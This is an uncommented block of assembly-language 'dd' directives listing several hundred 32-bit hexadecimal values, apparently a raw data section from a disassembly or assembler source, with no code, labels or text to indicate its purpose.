dd 2BC63D1Bh, 20AF0900h, 0B5E4115Dh, 81F83850h, 5300EC98h
dd 283E5127h, 1DC64E1h, 0F7C52079h, 40D791F5h, 4AACD0E0h
dd 57EA5200h, 0F91E2FE1h, 3C71006Ch, 0E61CB842h, 0C376514Eh
dd 0C5694712h, 49801418h, 0DAE000D5h, 299A1732h, 581C57F1h
dd 7580BC65h, 99A6E331h, 1CCA00DBh, 5E8C967Dh, 7000D810h
dd 3820CEA1h, 65A42Dh, 3EDD7390h, 0F418BDACh, 0A002B925h
dd 96986C28h, 328B00EDh, 47B633CFh, 0AF0FF22Eh, 80BE1C5Ch
dd 0B57983D5h, 1EF60098h, 56AC9B63h, 0DEF89E09h, 0DCA861Dh
dd 8E31D980h, 0C43AA0h, 0F9AD5C0h, 60561DCEh, 7DF9DE05h
dd 30E229ADh, 21BE2C00h, 0E6710623h, 18880300h, 1CCC99D3h
dd 74C400CEh, 5970A48Bh, 0F500538Ah, 0FD34D9AAh, 0D77FACh
dd 0D3CE3C35h, 2878263Fh, 66D56A18h, 0B95D29h, 0C2F0D888h
dd 7CE9D0B1h, 0AFCFD303h, 0A8D6BC76h, 844319h, 5521BF1h
dd 0B0C63FA1h, 0EB008CF0h, 7FB26892h, 0A78161h, 45ABA8CFh
dd 6FAC4C49h, 2F00F47Dh, 0E93D80F5h, 631F64h, 65985CC6h
dd 791FE86h, 3AE0CE50h, 2AA97E30h, 0E64112BAh, 77D00009h
dd 59C4E78h, 43059410h, 2B7BB247h, 0ECAD8C00h, 0BDB8307Eh
dd 1803148Eh, 708844F7h, 5E28FB94h, 5409E0A5h, 0A6FA29Eh
dd 2E00EC78h, 33625FFh, 716005Dh, 18BE8490h, 68944BC9h
dd 600CED8Fh, 0AF0799E6h, 366C00C8h, 4EF44B78h, 0FD4AE8F6h
dd 7526A800h, 403C643h, 1067202Dh, 1F58C8D0h, 48F00103h
dd 0C8367EB6h, 0F52038h, 0FAA90EB9h, 0CECD8869h, 4CCBDB00h
dd 0B14155D3h, 4871008Ah, 0BF0DD3Dh, 0CE161129h, 0C032350h
dd 0F05D8FE2h, 0BD8B592h, 0AFD0FD9Ch, 600070ECh, 34D27409h
dd 6F4775h, 0C21E1597h, 2DF88BCCh, 91956B0Bh, 174880E9h
dd 1E770E69h, 424E2E58h, 0A3A53F63h, 1106D0F0h, 6C5AA8ADh
dd 3F11314h, 640C0086h, 0FB46EB42h, 93BB2300h, 9C8861C6h
dd 29E400C3h, 0A65A2F2h, 78001541h, 7F68A446h, 44C1DA3h
dd 396A5E7Bh, 7321C7B0h, 15F09D47h, 0E600CE13h, 25265F46h
dd 0B5685Ch, 6B942B7Ch, 0EF145175h, 0CB556C12h, 82161400h
dd 0E4E945h, 9E150EE6h, 0B453F425h, 0F9B86A00h, 0AB7F6D74h
dd 0C6EF00BDh, 88820110h, 0D41214C2h, 0F88094ECh, 0EE69A0E1h
dd 6A39124Fh, 901410AAh, 356F9E00h, 7E2CA2E7h, 71FBAF0Bh
dd 4401070h, 0A889541Dh, 0A3E507C9h, 73B9DF64h, 10F068CEh
dd 0FD004087h, 90DC60D7h, 4FAC58h, 7A8AB7DFh, 0C5F4150Dh
dd 0E11E51EAh, 0BCC0605Eh, 0BB909F37h, 28EB6F33h, 5B84566Bh
dd 0E8E8B9h, 0D5B43850h, 0EA30FC2Dh, 8CAE02FAh, 55F805Dh
dd 0DBBD7660h, 0D77A5C00h, 6A6342AFh, 2B3C1CEAh, 11003EC6h
dd 0BE82498Eh, 9E0099EDh, 3F16DE30h, 13C580h, 0A6E6C245h
dd 31B8A5ABh, 1DA3474Ch, 6DDDCB01h, 87CCDDC4h, 0F7BA5480h
dd 0AD1400E8h, 0A2D5C356h, 70005B3Bh, 3BDF5D7h, 0CAB6DBh
dd 6C42AEE7h, 0F05D3A0Ah, 65417800h, 0F2CE9020h, 0EB8E005Ah
dd 727AB101h, 89024C05h, 0F75CCBFDh, 0E0A9E083h, 0F92F009Fh
dd 170D9A3Ah, 1B0910A2h, 7DA77Eh, 6496F0B8h, 552B0F82h
dd 23A944A5h, 0FCE288E1h, 8D0009CAh, 46A9B3F2h, 0DB54DDh
dd 16062FBEh, 52CA307Fh, 8A330B00h, 6E0CE36Bh, 54DF2C3Fh
dd 0EAB30EB8h, 8AC080D7h, 0F8008FFEh, 1CEB9ADDh, 1F1DC577h
dd 85434BCBh, 8035FAFBh, 245FD907h, 1FF6C400h, 5317A02h
dd 0BC5041Eh
dd 0B2B72CFCh, 7A38C000h, 3F08405Dh, 1CCF99ECh, 0F5A400CBh
dd 0BA8CC82Ch, 0E44CC512h, 5A467CC0h, 0C19200F2h, 0D3D205DBh
dd 0EC3C8A6Dh, 0E9C0804Ch, 1C622B9Eh, 1F067A3Bh, 40AB27C2h
dd 60C8DE8Fh, 0D000F047h, 4D72501Bh, 3E0D890Bh, 0F7642Ch
dd 0F32790E0h, 690F1D38h, 0D475E900h, 0E8B3E7C8h, 0E6AB005Bh
dd 0F82DF6FAh, 741D8FFDh, 51C02889h, 76127113h, 0E6822C69h
dd 63500075h, 0B1DFEE33h, 0CBE8DA77h, 0C586A31Ch, 0A2ABE140h
dd 4D87C6F7h, 0FF029C42h, 0C514B46h, 0C0EBE2h, 31F94A94h
dd 8CB0501Eh, 0C91ED401h, 6F82BBF8h, 6080AAA9h, 1E1ACCh
dd 99A4A321h, 161F159Ah, 96BD8300h, 173A028Dh, 47850F68h
dd 3025E44Fh, 0B58F00FAh, 33584E2Fh, 68FE4B27h, 9D5BAFBCh
dd 0E73A70A0h, 433A32D8h, 6283AB7h, 0C9B8AEFDh, 0D54E1C21h
dd 9E877CD3h, 41C88510h, 1C1620Ch, 82F01884h, 939601DEh
dd 0EF3D35DAh, 90303BD8h, 0F416BBA3h, 8529022Fh, 62B040DCh
dd 9F444083h, 38583066h, 0DE0A06A1h, 20A54F7Ah, 3FD8BF24h
dd 0A061BA0Fh, 5F587228h, 6862504Bh, 0BF74B9h, 301AD139h
dd 0F41DE326h, 1F9AD00h, 57B19EE4h, 0F8E800C9h, 13E153D1h
dd 2F1FD670h, 0B280C6B6h, 8AFD4E7Ch, 887F00D2h, 9A158F26h
dd 0D50FD478h, 66D76259h, 747C454Bh, 6DE000BEh, 4DE4CDEDh
dd 3C003914h, 0D6443F77h, 0F47624Ah, 410DACE3h, 4F25A603h
dd 0C1406487h, 0E09A44ACh, 5B00EC86h, 0F3DC26C2h, 4527F0h
dd 2CF19E6Eh, 0D81FF5ABh, 1C9D5600h, 3BFA6CCBh, 791901E1h
dd 76AAF432h, 0D4FEFDDAh, 700E60Eh, 4A0B856Ch, 0C026EDh
dd 1723E4B0h, 0FB8278E0h, 47B84B0Eh, 0FF252064h, 1CD0107h
dd 45677229h, 0F8170E20h, 783B11DDh, 0EC5EAA38h, 365958h
dd 790A75D0h, 54E33743h, 60ACE82Ch, 0A5D6CA54h, 27072A87h
dd 0F2076FD8h, 0EE6B3650h, 89FD0A62h, 1D040B0h, 82CF99A2h
dd 0B1418023h, 0E73E9365h, 0C0BCEA09h, 0EF4E2171h, 0C7001A9Dh
dd 0B939D14Bh, 1E775A17h, 821CBCC3h, 3A7B572Eh, 6A65D5E0h
dd 0FD79DB00h, 1C5052DDh, 0EEA30004h, 27638211h, 0DB3E4FDCh
dd 0CF100B1h, 9DC886E2h, 0BCBEB7h, 83BD7A4h, 1B582D17h
dd 26BA0BD0h, 0E41868DBh, 98B9A035h, 1A2E475h, 49697ABBh
dd 0C46A9352h, 4203BEB4h, 0E4C41045h, 0C2D907B1h, 0C00A7989h
dd 1EB8DF6Dh, 5BA04400h, 0FFE971CCh, 0AC7D03B1h, 54B04AF4h
dd 380C0F93h, 79473FB9h, 0A10260B7h, 49D0B0BBh, 4A525900h
dd 0B32B7966h, 11F4EB7h, 6EBC8510h, 6B5AFCDEh, 7DD0C350h
dd 0A048A66Eh, 0D289D014h, 189E0006h, 0E980036Dh, 0D90042CFh
dd 894A0FBh, 33B14F8h, 8E13D4B6h, 0C0909889h, 0BBF0D35Fh
dd 605504A5h, 91BA2446h, 5701BB98h, 0BD3E6DF0h, 8BC0E08Fh
dd 6FD3009Fh, 0C5E42074h, 6D3C9EBAh, 0B823A71h, 0DF91BF6Ah
dd 0E4979C00h, 98035878h, 2D733479h, 94BF9010h, 57160317h
dd 0D32F0B95h, 0ECE278CAh, 0BA0AFAC0h, 5D079473h, 3B82B2B4h
dd 2B21B980h, 1C9E0AB7h, 5774CE0Fh, 0F16140Bh, 0F2409FBBh
dd 438DCBB5h, 0A9FC1DB2h, 0E6E9005Fh, 1A14E550h, 12C20603h
dd 21B82E78h, 0F908BE29h, 9CCE90E7h, 1A21B791h, 5550F81Dh
dd 2C084221h, 0FD8688BEh, 90FEA788h, 0F1519ED6h, 2228E228h
dd 0AA2215F3h, 0B4462268h, 0A214EE50h, 449E2144h, 0B344116Bh
dd 0C5C0448Ah, 84922044h, 42C14122h, 18A31136h, 3E6D6611h
dd 849244EEh, 426A4D22h, 0B928117Ah, 8B009E22h, 9415AD9Ah
dd 0B2F831h, 0D7A0D1B7h, 6F207C90h, 7F6BFB2Eh, 0A7077100h
dd 0BBFE35h, 917414Bh, 939F27E5h, 0CF839201h, 3946FBF5h
dd 70B04CC8h, 40C0011Eh, 0E87B3A38h, 0F47AE8DFh, 0BC0002E4h
dd 1BEDD55Ch, 3D2CB8h, 0B7210A92h, 0AD27A465h, 8E3ED800h
dd 1688811Ah, 0EA040EDAh, 0E260DCAFh, 3A69FAEFh, 4A90B700h
dd 7AD3287h, 7FF40025h, 0A27201Ch, 40B1091h, 0D673EB7Eh
dd 600904F7h, 13C90F0h, 9A00824Ah, 5591A80Dh, 1F75D93Dh
dd 1EA06883h, 20E5005Ah, 459B597Fh, 2D563303h, 0D8774h
dd 0FEFC6E40h, 0A7D8716Bh, 6F229100h, 8C5E6586h, 52E6042Eh
dd 80BE9966h, 0D271EA2Dh, 23D93300h, 6355A14h, 9DF1D90h
dd 64ABC0F2h, 0E7D5E575h, 0E6D79F1Ch, 0FD90C8C0h, 1A250h
dd 8DBB8E61h, 0D45C25F5h, 4EF8F90Fh, 6BC74033h, 7012998h
dd 28F46A85h, 541550C5h, 0EC006064h, 348AA6EBh, 24CEB9ABh
dd 34258DCh, 99001F8h, 8A7A0CB0h, 93BBB30Ah, 0A300803Ch
dd 1C44BFC0h, 7016886Fh, 0D2929F00h, 7A0319B0h, 467F0089h
dd 0FE8EF91Dh, 8100B117h, 0C1B682D1h, 1D59F3FBh, 41CA3204h
dd 0FE51FF4Ch, 0F8E2EA36h, 0A1F29500h, 50398C30h, 80E808Eh
dd 1C315705h, 0DE71008Fh, 0E2B35211h, 0D200389Dh, 0A5DC096Fh
dd 1E344BFCh, 5FBCA44Eh, 0F296C0F3h, 0F1DAD12Ch, 0B6D62A00h
dd 43CD06A1h, 4E6026C9h, 99740030h, 70FD11D0h, 7773C1Dh
dd 30DA5CC0h, 0E8AC715Fh, 0B306003Bh, 0FF22210h, 2600BF2Fh
dd 48E15829h, 0F6521751h, 0E8B40E6Dh, 65407B3Ch, 0DFE56B4Ah
dd 88383103h, 0A877D67Ch, 0A7100Fh, 32B4945Dh, 0D509EDD9h
dd 0C5331E00h, 65C2257h, 7ED300A4h, 9BB16664h, 0AE1E51E5h
dd 6543E29Dh, 0E0B58ADFh, 2041517h, 0A1D75FF2h, 44484253h
dd 208D14Ah, 4317548h, 1309AAh, 0B6B48D14h, 0A7E6001Fh
dd 211CAB33h, 0A0298E1h, 0CB4B5DDDh, 87B040FFh, 63410047h
dd 2130481Eh, 0A2062558h, 0C79461EDh, 9D4F3D80h, 6A4FE80h
dd 0B4492DBFh, 0D61F7700h, 42853EF2h, 98AB003Ch, 23EFB82Fh
dd 1D004CC8h, 509BA978h, 427D34h, 24AD432Bh, 51FAAF20h
dd 9CCA5800h, 7CA3D135h, 75B06AAh, 0C0E38FBCh, 85054304h
dd 0E890E9D5h, 0EA49BF56h, 0D0A4009Dh, 7183E06h, 7C09F82Bh
dd 3135D08h, 81B6A38Fh, 0F0DF356Dh, 6F9857h, 0EF5D6931h
dd 11047DADh, 0A930F900h, 2618D654h, 0BB340138h, 0DDB74591h
dd 0C987F6CEh, 8471C050h, 0D5000186h, 8F541EDFh, 0FA9C0C95h
dd 50A07D18h, 74CE8B7h, 0E2097161h, 3298046h, 0C1B5ACA3h
dd 0D8E3A4CCh, 0F4DBD619h, 0BBECA0AFh, 0D9DCA069h, 566E0CFCh
dd 4F106845h, 3F024405h, 0E4029A1Ch, 71095ADh, 91F730DAh
dd 4203AFFCh, 0CB877764h, 0CD0B80BDh, 0C145003Ah, 89C66CA7h
dd 0D8A039F8h, 0BE0159DBh, 0DE26B73Fh, 3AF082D3h, 0DCB20730h
dd 20327A8Bh, 0C785D178h, 1E07B5F0h, 0DBBFB101h, 4A054260h
dd 0C4490143h, 0FA6A9B64h, 0BB6BFCAEh, 0F08EC00h, 0AC882A9Eh
dd 0E8E2A3B6h, 12C39D9h, 5F470491h, 802A487Fh, 4CAC3DC2h
dd 0A67468h, 0FA2BAB0Ah, 95EA1444h, 24C45648h, 604EBCA8h
dd 0C1CC3B7Eh, 658E0098h, 12131E9Bh, 44003F07h, 584E5E25h
dd 675314h, 77F68CFAh, 9B265ABDh, 0B1DF3E00h, 9160AF79h
dd 15C49099h, 0E06438EBh, 25D4A130h, 0CB0073BBh, 0CA3DBC94h
dd 91E52Eh, 93480324h, 2950BA70h, 0B700827Ch, 0E118064Ch
dd 2A7853Fh, 7C7B9CAEh, 0E8801CDEh, 76B2F2DCh, 0B56DEC00h
dd 456B3EA5h, 84EE79h, 0BA3783DAh, 42445852h, 0C4356103h
dd 0F0498287h, 99099Ch, 29014B92h, 67D0E226h, 7C68E900h
dd 85138237h, 11730047h, 8E6C5204h, 0DFEABE2h, 34BD3102h
dd 407C1FB8h, 51E130Ch, 63B92535h, 0C22C80EBh, 6D0058F9h
dd 0A31843B1h, 39BBB4A8h
dd 0CDBC054Fh, 530F0E00h, 0AA92B0C5h, 0C7975800h, 99278186h
dd 0BF7F12D2h, 0E990005Eh, 0AF2B1220h, 8B1C1F00h, 0F806AB0Fh
dd 0C0DF14D3h, 0D400DC52h, 5DB63039h, 161E0390h, 0DD6C70E6h
dd 0CC55FA01h, 53E85B0Eh, 0D9420771h, 0A01F0FEFh, 27413909h
dd 3276B10Fh, 4D16C06Fh, 729B1A15h, 0BFDCA083h, 11DB21D5h
dd 8695CF81h, 44605831h, 6E23003Ch, 4382F626h, 904C6477h
dd 76F874CEh, 8E9C673Bh, 0E02F1A4Ch, 0CE787B21h, 26FF004Eh
dd 4A2B48C7h, 6F05E560h, 0A12EEEC6h, 1ACD4CC0h, 0FDC72491h
dd 264C0096h, 4571A074h, 3BB7221Dh, 4DE89703h, 4352F0DDh
dd 56B501E3h, 6882FA36h, 0E814088h, 0B000D1FDh, 0AC7B06A7h
dd 0D449FBh, 0A968EC17h, 11586BA4h, 1400EAE0h, 6309AD9h
dd 1EE4C0Fh, 8CE4CD90h, 0DCE888A2h, 7CE40CC7h, 0D6445500h
dd 10CB9116h, 28267F46h, 48C05701h, 760B3714h, 900D69Eh
dd 3A7CB531h, 4A3F4704h, 0A0904F8Ch, 1C1D84ABh, 0B9DF4E2Fh
dd 82766AA5h, 76F4C100h, 0E40D5582h, 0C5DA14DBh, 7F02C097h
dd 0C9D79B16h, 665858C8h, 3426CEA0h, 183C542Ch, 9C922328h
dd 4DFB8A00h, 0E7CFA9F9h, 0F5AC01BDh, 0C8A5A041h, 6060F240h
dd 0E0265ECh, 0D610F175h, 390CE892h, 5C7070h, 2C85E4Fh
dd 76750EEh, 0D859FE00h, 0AE77612Ah, 0FFC40046h, 2CA572B2h
dd 0A639E06Ah, 0B05D009Ah, 51A1A01Eh, 814802FDh, 2B90C3B6h
dd 0FEBCD040h, 0E21E0B17h, 2625F400h, 0BE3D53h, 0FDE36439h
dd 330D416h, 0F8B8757Ah, 79805900h, 0A6FAB649h, 5B17006Fh
dd 8E7A882Dh, 0CC1E9664h, 95438778h, 0C043FB44h, 0F261F62h
dd 9E411E5Dh, 0E234AAC0h, 8800B919h, 0F4ABE85Bh, 38E4B0DFh
dd 0B48182CBh, 47FB9A74h, 1F0ED08Fh, 7AE8A100h, 15ABB219h
dd 7C98D0h, 1A23AFE6h, 18A73F31h, 846FFD00h, 0F29CEEC4h
dd 22AF4B8h, 1D76EFBAh, 8080B031h, 0E5241A26h, 45C88B50h
dd 93527B00h, 9E2CD8E2h, 54F20042h, 82673A17h, 942ED7A4h
dd 8E8E10CBh, 2E4B5CFh, 4235409Ch, 5AF0831Ch, 40B3B257h
dd 60D700h, 2719F81Fh, 26674DBAh, 0FC6BD20Fh, 0D43E092h
dd 268074Fh, 0A15B6F20h, 50607FABh, 0C4005125h, 0DB129A06h
dd 1DC8B3E8h, 0C071EE45h, 568615D7h, 0BA03FB55h, 286BBDFEh
dd 0C8C0A478h, 59CB81h, 685C9794h, 50B18A2Eh, 21788200h
dd 0EE5D0A47h, 0E8CD07A0h, 459323h, 0DA5ED088h, 0C06FE931h
dd 7BDCEE19h, 585A0F33h, 0A2404D2Ah, 0E8B06ECCh, 57005FECh
dd 60A8B45h, 16307CFCh, 43B27BD9h, 0DC4DB304h, 606F5FC1h
dd 0E100E5FAh, 3E56C131h, 0F1D1E3h, 0C7896EC8h, 54BC8847h
dd 0C9AF0F0Eh, 3D912084h, 0BEA371h, 0D214FA37h, 9D5F7446h
dd 550EF27Ah, 0C277EB0Eh, 813B1244h, 1DF3DBC8h, 72563701h
dd 0CA4510FCh, 0C3EDD100h, 31B09EA6h, 11024D00h, 0FC5D0632h
dd 13CE01F5h, 12541680h, 9DF9E417h, 80D34B3Bh, 2188F20Fh
dd 0DC5587h, 0FE81C845h, 1D46311Eh, 0AB0DE300h, 686D5742h
dd 0A7A00ECh, 0D3A0C638h, 6F13CFB0h, 67132132h, 0A78C9904h
dd 0C08A7882h, 4F873Dh, 0E7177133h, 86430223h, 0B2C89F00h
dd 900892CFh, 621F007Bh, 7ADCDAC4h, 7003AEAh, 33EFF967h
dd 0EED5A0D9h, 0A2ECF2h, 0E5C67F29h, 5A5E77A4h, 0E7FA7600h
dd 81E0B5B6h, 9B759Fh, 7EDF222Eh, 96D7C501h, 0EA33ED00h
dd 7AC65AB0h, 5442D40Ch, 0A187007Fh, 19973C47h, 4F0CF91Ch
dd 0A62617D2h, 33340054h, 0FFDA320Fh, 8F0E0804h, 60F9DB20h
dd 0A23602DFh, 75D500F7h, 10E84CB3h, 38B035C7h, 0EC6B2607h
dd 826136EBh, 0CCE818AEh, 56A601E4h, 2D3AC604h, 0F4893109h
dd 450A65B3h, 0B41DAB6Ah, 3F0D003Fh, 0DFA5F768h, 0E8000F5h
dd 935AB478h, 4403FE04h, 6C68CC57h, 0EA30001Ch, 0AEDB5082h
dd 0D512E891h, 2C0025ACh, 9FBED28Eh, 0C8E73A39h, 0CC632A80h
dd 514B06FBh, 41C0EEF4h, 0BED19C13h, 0E98B059Dh, 814A16E5h
dd 30B23CBAh, 110BD474h, 83EDD67Ch, 0BAFA5E1Dh, 0B3BCA051h
dd 3AC016D9h, 0F58065CCh, 0A4C7929Ah, 850061DBh, 90743A32h
dd 0BC8313Dh, 0CFA27E9h, 9400C456h, 0D17B5543h, 9ECD0029h
dd 6D214CFFh, 0CE38B431h, 0F38CCD7h, 724273Eh, 0E87037F9h
dd 552A06Ah, 422E50E6h, 0DC38D30Dh, 4E12E788h, 92004490h
dd 1D1C95C2h, 28F8D6h, 6D03945Bh, 96498A0Eh, 0C7DEF216h
dd 0F8231880h, 0D8BC1266h, 0BEA0D7B8h, 52F9A0E0h, 33026B1Bh
dd 0E8947FBAh, 0D134608Dh, 6638051Ah, 29E1D2h, 0A50660A0h
dd 90002DEDh, 19C0E8D6h, 666182h, 0A71EAC99h, 0DDE01D6Ch
dd 0C2710090h, 79829B0Eh, 3732800Dh, 4CA9367Ch, 1F0CD5ACh
dd 80396B63h, 0D209FD76h, 8029E50Dh, 0A74D588Dh, 7F1D01C1h
dd 8C2D562Ch, 26F82863h, 96B0476h, 50401B3h, 7C7A592h
dd 718125A9h, 0BCACB348h, 37B186E8h, 0F4677700h, 5768DDE4h
dd 857043h, 70EE3D5h, 0B7793850h, 0A153731Ch, 0A065E74Fh
dd 8EED9443h, 5DFC2889h, 0EFC200A4h, 0BA9FA408h, 0DB01AAC9h
dd 4E7DCA18h, 0FEF86406h, 0A0B203B0h, 8B2EA32Fh, 7EF5A6A8h
dd 2C271B3Ch, 0FD07CE8Eh, 36204445h, 3E6DE86Bh, 26018819h
dd 2E8AE727h, 37D5DC51h, 1A5C3CB0h, 851F0065h, 0B1F4BCF6h
dd 721E38C8h, 0A84F6180h, 0ED3E71E4h, 7F1C6A09h, 79D0E0FBh
dd 0FC20541Dh, 20585C41h, 7ECAA600h, 19FE6815h, 63E9FF00h
dd 1A1E8782h, 0D9C90739h, 9340BD59h, 0D7D8F63Dh, 0A20066D2h
dd 8CAF9ABBh, 9112CBEh, 0AB1DE856h, 0D7B44B80h, 0A802D180h
dd 7148CE37h, 0D51C036h, 68E40065h, 0BAF76B24h, 8F0BD766h
dd 450AD35Eh, 830D835Ch, 0B2F26843h, 3C80A4E1h, 0FB05958h
dd 80BA969Dh, 84E1F8F1h, 758F2C5h, 0D0DE6EEDh, 425FC116h
dd 39D5C4BBh, 0B40E6070h, 1E5062B3h, 0B67ED1C0h, 0A60F46h
dd 4DFF0E67h, 0C2BA9195h, 2215F003h, 9D0C452Eh, 0EFDDF045h
dd 0B79572C0h, 4391C0F8h, 2AD55009h, 0EAE6CF00h, 51B9DF4h
dd 6ADE000Ch, 9164E7CCh, 0BE741FD5h, 0BB704802h, 80E1C6CDh
dd 7301D2C0h, 0D0B84Eh, 7699FA62h, 8BED084h, 8143972Fh
dd 1E01E8BFh, 5600483Ch, 7074FEFCh, 76007D5Bh, 90A2ED14h
dd 2E2EA441h, 8050B13Ch, 9C615106h, 8F2AFFCEh, 621398DCh
dd 0FF031005h, 0EE6994CFh, 11E71519h, 0EA00BCF4h, 2DA7900Bh
dd 0CD2C5797h, 4A02508Dh, 734BB7DDh, 5DD906FCh, 0E6023961h
dd 8E5E6587h, 2A98A013h, 0C0CAC335h, 0B5098C21h, 0D804E0F9h
dd 0BD5C4132h, 1ED944F0h, 0EAEC539h, 48C145CBh, 201E5FB8h
dd 53005608h, 4497599h, 0F4ADF365h, 389097h, 71D0FDCDh
dd 60B61751h, 0DFEAEF00h, 0D6BDAA4Fh, 0FAA20031h, 850D8FF4h
dd 9B7F3258h, 0D093F200h, 5F3A34EAh, 219685BDh, 771EDB00h
dd 0BFD187h, 66CD39FAh, 0F7FECFA8h, 0D6D9AF0Fh, 817E0C3h
dd 3E2520h, 41391260h, 366EE48Dh, 6CE7B316h, 8200D61Ch
dd 0B7ED1AC3h, 8721231h, 0ABB090FBh, 9D881494h, 0D26E0E28h
dd 5F00742Fh, 63F4B545h, 5304A58h, 0D148F1F6h, 1A3A7280h
dd 4FF000ACh, 82939785h, 3E002974h, 0EABA630Dh, 5B80B1h
dd 0D38899C3h, 0D5A1AE7Ch, 8334E000h, 3E109D1Fh, 7B0472F8h
dd 0DCF2009Ch, 4CD04911h, 0BA38EE85h, 0A3F18027h, 18BCB5ADh
dd 91750035h, 2AA55FDh, 0B00084FCh, 0DB294023h, 7A0FC4BFh
dd 0D1A0010h, 5452DEA4h
dd 88036950h, 0F10918B1h, 78819005h, 0F33A00A8h, 3DA1A6E7h
dd 0AE03346Dh, 9A3B529Ch, 0E2DA98DDh, 47AA0040h, 0A70CCC61h
dd 7E0154E3h, 0BB499E7Ch, 0F9D0AC29h, 0C5522C81h, 452C0F40h
dd 2FB28080h, 820F2EAFh, 4BD4C3F5h, 397818C7h, 1F889CD5h
dd 38193DFh, 9A4F66C7h, 0A9CDF2A7h, 4CABACE0h, 9C7BC48h
dd 0C857511Eh, 25EA62Ch, 69AED4AAh, 0B446A43Ch, 0C08410E4h
dd 0D586E531h, 0D800F96Bh, 0BC01E6F8h, 98B36163h, 15EE0314h
dd 6EE3DBDFh, 1189AAD0h, 22E2BE00h, 0E92BF5FFh, 0AF4924ECh
dd 65CA80C8h, 0A12648CBh, 0DE030DFEh, 9B8A8CBBh, 0E4D0D45Fh
dd 6F1ED40h, 0A314C3C9h, 130289F7h, 3442B4FFh, 9485855h
dd 6F216B0Ah, 46565068h, 49642606h, 70B424h, 4D0795E2h
dd 78C45B57h, 8171AF39h, 0DB531126h, 0A03E34D9h, 0C601A090h
dd 6B7DC02h, 0D8819693h, 67D641B6h, 4DF6C056h, 0B0335126h
dd 0BB12023Dh, 4898881Eh, 4176B0h, 748736FCh, 0B75FE965h
dd 831CC6E4h, 0A540F463h, 0A947F15Eh, 0BF9C006Ch, 0CA1E3A14h
dd 40C04FB9h, 0FE0D31E1h, 88BE5C18h, 41348C84h, 91E189C6h
dd 10161081h, 38CC3BA7h, 5EB300E8h, 94893DBEh, 0E5C200A0h
dd 0D77DCBF6h, 49000253h, 0AC5BE287h, 61D3DCh, 0E6BBF5D6h
dd 77B9D863h, 83D6F01h, 102FCF1Eh, 7D748C9h, 0B4E1AE40h
dd 7FCA3083h, 702F6A2Eh, 0A1DCB2h, 0A41B8F0Bh, 0C3ED7F9h
dd 957F00FFh, 89818B72h, 1A774Ah, 1E416540h, 3FEDE3C1h
dd 8C03CB01h, 736A1255h, 3F993CD0h, 0C300BE63h, 4054B77Ah
dd 9100E65Ah, 975E43ACh, 201F1Eh, 2E7C18C8h, 0B2F44F6Eh
dd 729E7000h, 0CB5E7E73h, 0F7F0044h, 0BE51B701h, 2200D31Ah
dd 6A5DA4D7h, 0E0C97446h, 796F7E2Bh, 0FFEE0097h, 23042AABh
dd 0DD1C1CCFh, 2240D5CBh, 822FB470h, 1801008Fh, 8D9F49E7h
dd 0D8E4364Bh, 0F75B2000h, 1505FFA7h, 739D00F0h, 8C08DE52h
dd 2F005CD1h, 11E4A070h, 89D462h, 0ECEBB497h, 0A6992131h
dd 55E73D00h, 0D4B184EAh, 0BEB3029Dh, 0C36439E3h, 0DDC5AF60h
dd 0A00A1100h, 0FA26C8FBh, 0CD100176h, 0BA1B2809h, 0C97DF81Fh
dd 251C1500h, 0DD2187A2h, 79CE058h, 7F352F27h, 509E2C2Ah
dd 60D56F00h, 6AA48BCEh, 13480F01h, 0C5871D23h, 641A218Fh
dd 1F3CF843h, 0FC1F31EAh, 0A4FCCBBh, 67D6CF57h, 0EC80D453h
dd 1E7965CFh, 403B6B45h, 5DA21842h, 471E62A1h, 1B80EA23h
dd 328446Eh, 0E838007Dh, 20972264h, 5A007076h, 3C68B3BFh
dd 787B11BAh, 648200C3h, 0AD77446Ch, 0EB002DEAh, 1072019Dh
dd 75D65F5h, 0E2B9B368h, 8E89224Ah, 0BE2A2EE0h, 0A0B20734h
dd 5DA35C80h, 0E4FB3BBDh, 8367D100h, 0C3031FF9h, 844FDD28h
dd 222E1300h, 0EE407E7h, 88F868h, 3F60F380h, 0A6EAF6D8h
dd 0EF0F46E4h, 60E379BFh, 0BAE788F0h, 0CD20004Dh, 0EE0F2405h
dd 87709C2h, 1C7E3300h, 2D788802h, 0FC760068h, 96894345h
dd 0FF0EC0D8h, 9CBAA7CBh, 5E1F40C0h, 3AE6A27h, 73E5C8ACh
dd 36908344h, 3800909Eh, 0AF3E23B3h, 12A53B84h, 0C010297h
dd 0BD78B448h, 0C7682E01h, 0E7C9261Ch, 0AF71C8h, 0B460A779h
dd 68AB33A4h, 5E2FF200h, 0C94D1CB8h, 0CAAC0155h, 69DEC096h
dd 688DC8F5h, 48597B24h, 53D62F82h, 0D20303EAh, 3BE56807h
dd 0BA909D81h, 3E2744B3h, 4FB84D2Ch, 7CDDF80Eh, 29A90E00h
dd 6800A734h, 199DB6D3h, 497016F3h, 0F71078BDh, 929E00E2h
dd 78402582h, 0D2F60FA4h, 4A60DE54h, 2D96DB8Fh, 58896A07h
dd 9517C612h, 33D96E80h, 57040FEBh, 35007DA7h, 4E0ABDF3h
dd 9429A43Fh, 8C1541h, 0C60D687Fh, 0C1EEF4h, 3F91A155h
dd 9413F7DBh, 77C00E00h, 89DEC04h, 0CF88003Ah, 79FBB97Eh
dd 0AA006958h, 10414227h, 80F21Fh, 4362C0F0h, 0FAFE12FCh
dd 0B959F600h, 709DE299h, 66BA0005h, 1217734h, 0E0C19A08h
dd 0D993FC78h, 5D25D0h, 0EF76BF2Bh, 288C6999h, 0B0132F05h
dd 0D80095C9h, 7B78EE02h, 5DA00BDh, 0A066379Ch, 0CB725B44h
dd 0BF6C0100h, 0C4934513h, 6DB40075h, 0D8E6DE1Dh, 710921DAh
dd 76419A1h, 0D910EE8Eh, 0A3E012h, 53EBA039h, 5915F179h
dd 5A648307h, 9F47B4CBh, 56B1B960h, 28847C2Ah, 58B8E1Ah
dd 5D466BADh, 53A44373h, 0F380080Ah, 573E9DBEh, 8830E03Fh
dd 702149h, 0AF7A508Ah, 7B481D4Ch, 0A650F3F2h, 6400D08Ch
dd 0BC846C0Ch, 13090DC8h, 6225D2h, 0B902312Ch, 0FF0099FAh
dd 9F782028h, 3FD5BFF5h, 0A380EFB1h, 0FA660C4Eh, 0A8780858h
dd 8800787Ah, 0CF43803Dh, 0FCB0E8h, 542D71BDh, 0D60FC773h
dd 4216F880h, 0ADC61C3Dh, 2598CB40h, 5C9FCAF9h, 950FDFE5h
dd 7B879258h, 15C89264h, 0FC30C860h, 0F8C01771h, 3655B274h
dd 783A0403h, 80468194h, 3CC6BED4h, 19C75700h, 0DF2159BAh
